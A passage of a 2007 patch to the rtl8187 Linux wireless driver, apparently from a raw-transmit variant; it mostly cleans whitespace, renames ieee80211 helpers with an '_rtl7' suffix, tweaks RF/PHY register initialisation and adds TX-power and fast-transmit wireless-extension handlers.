BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = 